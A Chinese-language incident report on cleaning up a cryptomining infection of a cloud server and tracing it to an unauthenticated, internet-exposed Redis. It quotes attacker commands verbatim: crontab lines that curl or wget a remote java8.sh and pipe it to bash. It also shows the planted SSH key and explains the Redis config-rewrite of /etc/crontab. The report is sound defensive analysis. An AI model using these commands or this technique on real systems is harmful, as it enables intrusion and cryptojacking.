0x00 背景
- 20220119收到阿里云报警短信
【阿里云】尊敬的******:云盾云安全中心检测到您的服务器:xx.xx.xx.xx(**)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警处理http://a.aliyun.com/f1. 进行处理
。
- 登录阿里云控制台后发现有多条异常记录
- 恶意脚本代码执行(
curl -s -L http://xx.xx.xx.xx/f220115rr/java8.sh
)2022-01-16 03:35:01 - ECS在非常用地登录(登录源IP: xx.xx.xx.xx)2022-01-16 06:28:26
- 挖矿程序(/tmp/.system/java/java8_8 (deleted))2022-01-19 16:22:52
- 挖矿程序(/tmp/.system/java/java8_8)2022-01-19 17:12:16
0x01 现象
- 查看top进程中有java8_8进程占用大量CPU
- 查看/etc/crontab文件中有如下内容:
*/30 * * * * root curl -fsSL http://xx.xx.xx.xx/f220115rr/java8.sh | bash
*/30 * * * * root cd1 -fsSL http://xx.xx.xx.xx/f220115rr/java8.sh | bash
- 查看~/.ssh/authorized_keys文件中有如下内容:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWh4GJVPXi1DjSOxs4ytVtVT/XogOlBzAoWn5qE4yyO6EXRz1FhC+EVY9hmUcjMUN1Rp7dYZMLO1vsWhhpqmX9H0YWV2JfKixcXKE2eNrKxl45IRrhIRqNYzr/QnsmLdXZl5OLqoo587jwMCZeWB10NuOiUv5PKVCKUNtT2MQxKv/n5HleqY1Nn9uzFEiIkD39dmqm/4gKPbAcz3uXi31yVVSvUdmqoUoj8B/EdQn182z/Ix+WUJWAuYD2WTrhhYbcDvi+MSOm9ld7MgeOpxzLS
EJjEja4+2EHD7dkoNLMD9/UH4FW3yzt3kTUBdaeGJN0mndoex3IggihB5dMjuTnKp25iv6xzYXRCaupxnsRN2rYQlbda8+jZOTxF+nwRGeX9QeSthlQzzZyxEHT7USxQCBpvlyyTZJ9ugX/j11XkKdAGzmKZGo7F0Qxp173eL0SH+6roqrQcXL85r5OPjUd9Xt9fHz2zskN/urYcp6Oi+9kjQgWY0NcjMu/H5YaPP8= wolf@wolfs-MacBook-Pro.local
- 查看~/.ssh/known_hosts文件中有如下内容:
xx.xx.xx.xx ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPXvwY3uGrEkEjGDHk/5uwdcx6MRXkqfBBbKOOBXvEyBvDbK9naV9v6IHH3aL5+sCNeTwhjPKHwy3ywf7TbDAe
0x02 临时处理
- 尝试先杀掉java8_8进程,使用
kill -9 $pid
的方式,杀完后自定重启,怀疑有守护进程 - 查看
/tmp/.system/java/miner.sh
文件:
#!/bin/bash
if ! pidof java8_8 >/dev/null; then
nice /tmp/.system/java/java8_8 $*
else
echo "RAPTOREUM miner is already running in the background. Refusing to run another one."
echo "Run \"killall java8_8\" or \"sudo killall java8_8\" if you want to remove background miner first."
fi
- 使用
killall java8_8
可以杀掉进程 - 移除ssh-key登录:
ssh-keygen -R xx.xx.xx.xx
- 尝试删除/etc/crontab文件内容,发现文件为只读;使用
chattr -ia /etc/crontab
解除只读,然后直接rm /etc/crontab
删除文件
0x03 溯源
系统架构为应用服务器+数据库服务器模式
数据库服务器开放的业务端口只有****(mysql)和****(redis),mysql直接被外部入侵的可能性不大,因此只有如下两种可能:**
- 排查是否为应用程序服务器漏洞导致:
查看应用在2022-01-16 03:35:01的日志,并未找到异常;
- 排除是否为redis漏洞:
redis开放了外网访问端口,并且未设置auth密码,被入侵可能性极大:
redis被入侵一般都是利用了redis的同步数据到硬盘机制写入文件
- 查看redis在2022-01-16 03:35:01的日志,发现有异常ip登录xx.xx.xx.xx;
- 查看redis中有3个异常key,分表为x1、x2、x3、x4,value值为:
*/3 * * * * root wdl -q -O- http://xx.xx.xx.xx/f220115rr/java8.sh|bash > /dev/null 2>&1
- 查看redis设置:
>config get dir
1) dir
2) /etc
>config get dbfilename
1) dbfilename
2) crontab
由此可以分析出,攻击者使用了redis覆盖/etc/crontab文件,写入定时任务,从远程服务器下载脚本并执行,同时修改系统中相关权限,防止进程被杀,达到一直执行挖矿程序的目的。